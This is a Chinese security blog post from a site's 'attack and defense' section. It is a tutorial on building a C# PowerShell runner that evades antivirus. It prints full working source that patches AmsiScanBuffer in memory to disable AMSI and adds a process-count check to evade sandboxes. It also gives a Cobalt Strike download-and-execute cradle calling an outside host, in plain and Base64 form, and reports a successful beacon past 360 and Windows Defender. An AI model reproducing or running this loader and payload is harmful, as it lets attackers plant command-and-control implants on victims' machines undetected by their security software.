Eswlnk Blog Eswlnk Blog
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈
  • 注册
  • 登录
首页 › 攻防对抗 › 「攻防对抗」如何实现Powershell免杀?且看本文为你婉婉道来

「攻防对抗」如何实现Powershell免杀?且看本文为你婉婉道来

Eswlnk的头像
Eswlnk
2023-10-29 22:49:34
「攻防对抗」如何实现Powershell免杀?且看本文为你婉婉道来-Eswlnk Blog
智能摘要 AI
文章介绍了如何利用C#编写PowerShell脚本执行环境,支持Base64编码的PowerShell脚本执行,并提供反AMSI机制。通过引入`System.Management.Automation.dll`,实现PowerShell命令的高效执行。文中展示了代码实现细节,包括Base64解码、PowerShell脚本执行及反沙箱检查逻辑。在360核晶环境中,该脚本未被检测到;但在Windows Defender环境中被AMSI拦截,需添加`-s`参数以绕过AMSI检测。最后,通过Cobalt Strike生成的PowerShell命令进行了验证,证明此方法的有效性。

前言

分析powershell

通过查看powershell程序的模块调用,发现有一个名为System.Management.Automation.ni.dll,这个Dll包含PowerShell 运行时和所有在 PowerShell 环境中运行的命令

System.Management.Automation.ni.dll 是预编译版本的 System.Management.Automation.dll,这样 PowerShell 可以更快地加载和运行

若想执行 PowerShell 命令或脚本的 C# 程序,都需要引用 System.Management.Automation.dll

「攻防对抗」如何实现Powershell免杀?且看本文为你婉婉道来-Eswlnk Blog

代码实现

创建一个C#的.Net Framework项目,添加引用,点击浏览找到System.Management.Automation.dll其所在路径并勾选上

「攻防对抗」如何实现Powershell免杀?且看本文为你婉婉道来-Eswlnk Blog

下述代码是一个完整的PowerShell脚本执行环境,它支持接收Base64编码的PowerShell脚本作为参数,解码并执行脚本,同时如果参数中包含”-s”,那么还会执行bypass AMSI的操作。其中AMSI是Windows中用于防止恶意脚本执行的安全机制

<span role="button" tabindex="0" data-code="using System; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Collections.ObjectModel; using System.Runtime.InteropServices; using System.Text; using System.Collections.Generic; namespace MyPowershell { class Program { // 使用DllImport属性导入kernel32.dll中的GetProcAddress函数,用于获取指定模块的函数或变量的地址。 [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); // 导入kernel32.dll中的LoadLibrary函数,用于加载指定的动态链接库,并返回库的句柄。 [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); // 导入kernel32.dll中的VirtualProtect函数,用于改变指定内存区域的保护属性。 [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); // 用于将byte数组中的数据复制到指定的内存地址中。 private static void copy(Byte[] Patch, IntPtr Address) { Marshal.Copy(Patch, 0, Address, 6); } // 此方法通过修改AmsiScanBuffer函数来bypass AMSI检测。 public static void chaching() { // 加载amsi.dll IntPtr Library = LoadLibrary("a" + "m" + "s" + "i" + ".dll"); // 获取AmsiScanBuffer函数的地址 IntPtr Address = GetProcAddress(Library, "Amsi" + "Scan" + "Buffer"); uint p; // 修改AmsiScanBuffer函数的内存保护属性 VirtualProtect(Address, (UIntPtr)5, 0x40, out p); // 准备新的函数字节码 Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // 将新的函数字节码复制到AmsiScanBuffer函数的地址 copy(Patch, Address); Console.WriteLine("Patch Applied"); } static void Main(String[] args) { // 如果命令行参数为空,结束程序运行 if (args.Length == 0) Environment.Exit(1); // 判断系统的进程数是否小于40,如果小于40则退出程序(用来反defender的沙箱) if (Process.GetProcesses().Length < 40) { Console.WriteLine("The number of processes in the system is less than 40. Exiting the program."); Environment.Exit(0); } List<string> argsList = new List<string>(args); // 如果命令行参数中包含“-s”,则执行bypass amsi的操作 if (argsList.Contains("-s")) { chaching(); argsList.Remove("-s"); //从参数数组中移除"-s" } // 对传入的Base64编码的字符串进行解码 string temp = Base64Decode(argsList[0]); // 运行解码后的PowerShell脚本,并将执行结果输出到控制台 string s = RunScript(temp); Console.WriteLine(s); Console.ReadKey(); } // Base64解码函数 public static string Base64Decode(string s) { return System.Text.Encoding.Default.GetString(System.Convert.FromBase64String(s)); } // 运行PowerShell脚本并返回执行结果的函数 private static string RunScript(string script) { // 创建并打开一个运行空间,用于运行PowerShell命令 Runspace MyRunspace = RunspaceFactory.CreateRunspace(); MyRunspace.Open(); // 在运行空间中创建一个管道,用于存放待执行的PowerShell命令 Pipeline MyPipeline = MyRunspace.CreatePipeline(); // 在管道中添加PowerShell命令 MyPipeline.Commands.AddScript(script); // 在管道中添加输出命令,使得PowerShell命令的执行结果能被程序获取 MyPipeline.Commands.Add("Out-String"); // 调用管道中的PowerShell命令,并获取执行结果 Collection
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Collections.ObjectModel;
using System.Runtime.InteropServices;
using System.Text;
using System.Collections.Generic;

namespace MyPowershell
{
    class Program
    {
        // 使用DllImport属性导入kernel32.dll中的GetProcAddress函数,用于获取指定模块的函数或变量的地址。
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        // 导入kernel32.dll中的LoadLibrary函数,用于加载指定的动态链接库,并返回库的句柄。
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);

        // 导入kernel32.dll中的VirtualProtect函数,用于改变指定内存区域的保护属性。
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        // 用于将byte数组中的数据复制到指定的内存地址中。
        private static void copy(Byte[] Patch, IntPtr Address)
        {
            Marshal.Copy(Patch, 0, Address, 6);
        }

        // 此方法通过修改AmsiScanBuffer函数来bypass AMSI检测。
        public static void chaching()
        {
            // 加载amsi.dll
            IntPtr Library = LoadLibrary("a" + "m" + "s" + "i" + ".dll");
            // 获取AmsiScanBuffer函数的地址
            IntPtr Address = GetProcAddress(Library, "Amsi" + "Scan" + "Buffer");
            uint p;
            // 修改AmsiScanBuffer函数的内存保护属性
            VirtualProtect(Address, (UIntPtr)5, 0x40, out p);
            // 准备新的函数字节码
            Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
            // 将新的函数字节码复制到AmsiScanBuffer函数的地址
            copy(Patch, Address);
            Console.WriteLine("Patch Applied");
        }

        static void Main(String[] args)
        {
            // 如果命令行参数为空,结束程序运行
            if (args.Length == 0)
                Environment.Exit(1);

            // 判断系统的进程数是否小于40,如果小于40则退出程序(用来反defender的沙箱)
            if (Process.GetProcesses().Length < 40)
            {
                Console.WriteLine("The number of processes in the system is less than 40. Exiting the program.");
                Environment.Exit(0);
            }

            List<string> argsList = new List<string>(args);

            // 如果命令行参数中包含“-s”,则执行bypass amsi的操作
            if (argsList.Contains("-s"))
            {
                chaching();
                argsList.Remove("-s"); //从参数数组中移除"-s"
            }

            // 对传入的Base64编码的字符串进行解码
            string temp = Base64Decode(argsList[0]);
            // 运行解码后的PowerShell脚本,并将执行结果输出到控制台
            string s = RunScript(temp);
            Console.WriteLine(s);
            Console.ReadKey();
        }

        // Base64解码函数
        public static string Base64Decode(string s)
        {
            return System.Text.Encoding.Default.GetString(System.Convert.FromBase64String(s));
        }

        // 运行PowerShell脚本并返回执行结果的函数
        private static string RunScript(string script)
        {
            // 创建并打开一个运行空间,用于运行PowerShell命令
            Runspace MyRunspace = RunspaceFactory.CreateRunspace();
            MyRunspace.Open();

            // 在运行空间中创建一个管道,用于存放待执行的PowerShell命令
            Pipeline MyPipeline = MyRunspace.CreatePipeline();
            // 在管道中添加PowerShell命令
            MyPipeline.Commands.AddScript(script);
            // 在管道中添加输出命令,使得PowerShell命令的执行结果能被程序获取
            MyPipeline.Commands.Add("Out-String");

            // 调用管道中的PowerShell命令,并获取执行结果
            Collection<PSObject> outputs = MyPipeline.Invoke();
            // 关闭运行空间
            MyRunspace.Close();

            // 将执行结果转换为字符串
            StringBuilder sb = new StringBuilder();
            foreach (PSObject pobject in outputs)
            {
                sb.AppendLine(pobject.ToString());
            }

            return sb.ToString();
        }
    }
}

运行测试

360核晶环境

360静态查杀没有报毒

「攻防对抗」如何实现Powershell免杀?且看本文为你婉婉道来-Eswlnk Blog

使用CobaltStrike生成Powershell命令, 我们只需截取以下部分作为payload即可

IEX ((new-object net.webclient).downloadstring('http://192.168.47.155:80/a'))

将payload进行base64加密

SUVYICgobmV3LW9iamVjdCBuZXQud2ViY2xpZW50KS5kb3dubG9hZHN0cmluZygnaHR0cDovLzE5Mi4xNjguNDcuMTU1OjgwL2EnKSk=

打开cmd或powershell执行如下命令,cs上线成功,没有被核晶拦截

Mypowershell.exe SUVYICgobmV3LW9iamVjdCBuZXQud2ViY2xpZW50KS5kb3dubG9hZHN0cmluZygnaHR0cDovLzE5Mi4xNjguNDcuMTU1OjgwL2EnKSk=
「攻防对抗」如何实现Powershell免杀?且看本文为你婉婉道来-Eswlnk Blog

Defender环境

在WindowsDefender环境下按照之前的操作执行会被amsi拦截(360是没有集成amsi的)

「攻防对抗」如何实现Powershell免杀?且看本文为你婉婉道来-Eswlnk Blog

因此需加上-s参数来绕过amsi,这样CS就能正常上线了

​

「攻防对抗」如何实现Powershell免杀?且看本文为你婉婉道来-Eswlnk Blog

​

本站默认网盘访问密码:1166
本站默认网盘访问密码:1166
声明:本站原创文章文字版权归本站所有,转载务必注明作者和出处;本站转载文章仅仅代表原作者观点,不代表本站立场,图文版权归原作者所有。如有侵权,请联系我们删除。
360免杀攻防对抗网络安全
0
0
Eswlnk的头像
Eswlnk
一个有点倒霉的研究牲站长
赞赏
KnockKnock | 使用干净的输出枚举 Microsoft Teams 和 OneDrive 中的有效用户
上一篇
「攻防对抗」绕过杀软的内存查杀 | 利用VEH异常处理
下一篇

评论 (0)

请登录以参与评论
现在登录
    发表评论

猜你喜欢

  • 「漏洞资讯」CVE-2025-12914:宝塔面板曝出注入漏洞
  • 今日热点:伪Clash软件下载陷阱曝光,附防范建议
  • 漏洞资讯:Ollama 未授权访问漏洞分析与防护指南
  • 「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制
  • 「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程
Eswlnk的头像

Eswlnk

一个有点倒霉的研究牲站长
1108
文章
319
评论
679
获赞

随便看看

「漏洞资讯」1Panel面板前台RCE漏洞(CVE-2024-39911)
2024-07-22 20:09:39
AtomLdr | 具有高级规避功能的 DLL 加载器
2023-06-10 12:33:52
Linux下基于lkm的inline hook学习
2023-05-31 12:49:11

文章目录

专题展示

WordPress53

工程实践37

热门标签

360 AI API CDN java linux Nginx PDF PHP python SEO Windows WordPress 云服务器 云服务器知识 代码 免费 安全 安卓 工具 开发日志 微信 微软 手机 插件 攻防 攻防对抗 教程 日志 渗透分析 源码 漏洞 电脑 破解 系统 编程 网站优化 网络 网络安全 脚本 苹果 谷歌 软件 运维 逆向
  • 首页
  • 知识库
  • 地图
Copyright © 2023-2025 Eswlnk Blog. Designed by XiaoWu.
本站CDN由 壹盾安全 提供高防CDN安全防护服务
蜀ICP备20002650号-10
页面生成用时 0.862 秒   |  SQL查询 36 次
本站勉强运行:
友情链接: Eswlnk Blog 网站渗透 倦意博客 特资啦!个人资源分享站 祭夜博客 iBAAO壹宝头条
  • WordPress142
  • 网络安全64
  • 漏洞52
  • 软件52
  • 安全48
现在登录
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈